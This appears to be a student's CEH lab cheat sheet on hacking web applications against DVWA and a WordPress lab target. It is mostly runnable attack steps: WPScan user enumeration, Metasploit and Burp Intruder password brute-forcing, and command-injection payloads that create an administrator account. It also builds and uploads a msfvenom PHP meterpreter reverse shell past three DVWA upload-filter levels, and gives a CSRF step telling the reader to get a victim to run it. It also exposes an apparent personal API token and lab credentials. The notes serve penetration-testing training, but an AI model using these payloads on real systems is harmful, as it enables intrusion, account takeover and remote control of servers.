14 - Hacking Web Apps
Module 14: Hacking Web Applications
User Enumeration and Brute Force Attack
WP user enumeration
wpscan --url http://10.10.10.12:8080 --enumerate u
WP password bruteforce
msfconsole
use auxiliary/scanner/http/wordpress_login_enum
RCE
ping 127.0.0.1 | hostname | net user
Perform a Brute-force Attack using Burp Suite
Set proxy for browser: 127.0.0.1:8080
Burpsuite
Type random credentials
capture the request, right click->send to Intrucder
Intruder->Positions
Clear $
Attack type: Cluster bomb
select account and password value, Add $
Payloads: Load wordlist file for set 1 and set 2
start attack
filter status==302
open the raw, get the credentials
recover proxy settings
Exploit Parameter Tampering and XSS Vulnerabilities in Web Applications
Log in a website, change the parameter value (id )in the URL
Conduct a XSS attack: Submit script codes via text area
Enumerate and Hack a Web Application using WPScan and Metasploit
wpscan --api-token hWt9qrMZFm7MKprTWcjdasowoQZ7yMccyPg8lsb8ads --url http://10.10.10.16:8080/CEH --plugins-detection aggressive --enumerate u
--enumerate u: Specify the enumeration of users
API Token: Register at https://wpscan.com/register
Mine: hWt9qrMZFm7MKprTWcjdasowoQZ7yMccyPg8lsb8ads
service postgresql start
msfconsole
use auxiliary/scanner/http/wordpress_login_enum
show options
set PASS_FILE password.txt
set RHOST 10.10.10.16
set RPORT 8080
set TARGETURI http://10.10.10.16:8080/CEH
set USERNAME admin
run
Find the credential, and use URL http://[IP Address of Windows Server 2012]:8080/CEH/wp-login.php to login.
Exploit a Remote Command Execution Vulnerability to Compromise a Target Web Server (DVWA low level security)
If found command injection vulnerability in an input textfield
| hostname
| whoami
| tasklist| Taskkill /PID /F
/PID: Process ID value od the process
/F: Forcefully terminate the process
| dir C:\
| net user
| net user user001 /Add
| net user user001
| net localgroup Administrators user001 /Add
Use created account user001 to log in remotely
File Upload Vulnerability โ All Levels DVWA
Payload Creation
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.10.11 lport=4444 -f raw
| create a raw php codeCopy the code in a text file and save as .php
Low Level Exploitation
Upload the file | note the path /dvwa/hackable/uploads/.php
Run listener by starting msfconsole
Type
use exploit/multi/handler
Type
set payload php/meterpreter/reverse_tcp
Type
set LHOST 10.10.10.11
Start listener, type exploit Browse link of file to start meterpreter session.
Medium Level Exploitation
Rename file as .php.jpg
While uploading, intercepting with burp and rename back to .php
Run listener by starting msfconsole
Type
use exploit/multi/handler
Type
set payload php/meterpreter/reverse_tcp
Type
set LHOST 10.10.10.11
Start listener, type
exploit
Browse link of file to start meterpreter session.
High Level Exploitation
Open the .php file and add code GIF98 at start and save file as .jpg
Upload file
Now go to command execution tab and use command <Some IP>||copy C:\wamp64\www\DVWA\hackable\uploads<filename>.jpg C:\wamp64\www\DVWA\hackable\uploads\shell.php
Run listener by starting msfconsole
Type
use exploit/multi/handler
Type
set payload php/meterpreter/reverse_tcp
Type
set LHOST 10.10.10.11
Start listener, typeexploit
Browse link of file to start meterpreter session.
Cross-Site Request Forgery (CSRF)
Here below an example to exploit it.
Open http://10.10.10.12:8080/CEH/wp-login.php | admin:qwerty@123
Plugins -> Installed Plugins -> Firewall 2 -> Settings -> View Whitelisted IP
Run command
wpscan -u http://10.10.10.12:8080/CEH --enumerate vp
| vp vulnerable pluginsCreate a form with code
Save as <filename.html>
Get victim to run it.
Additional Resources
Web Scanners
YT videos
https://www.youtube.com/watch?v=K78YOmbuT48 https://www.youtube.com/watch?v=SS991k5Alp0 https://www.youtube.com/watch?v=MtyhOrBfG-E https://www.youtube.com/watch?v=sQ4TtFdaiRA https://www.youtube.com/watch?v=BTGP5sZfJKY
Last updated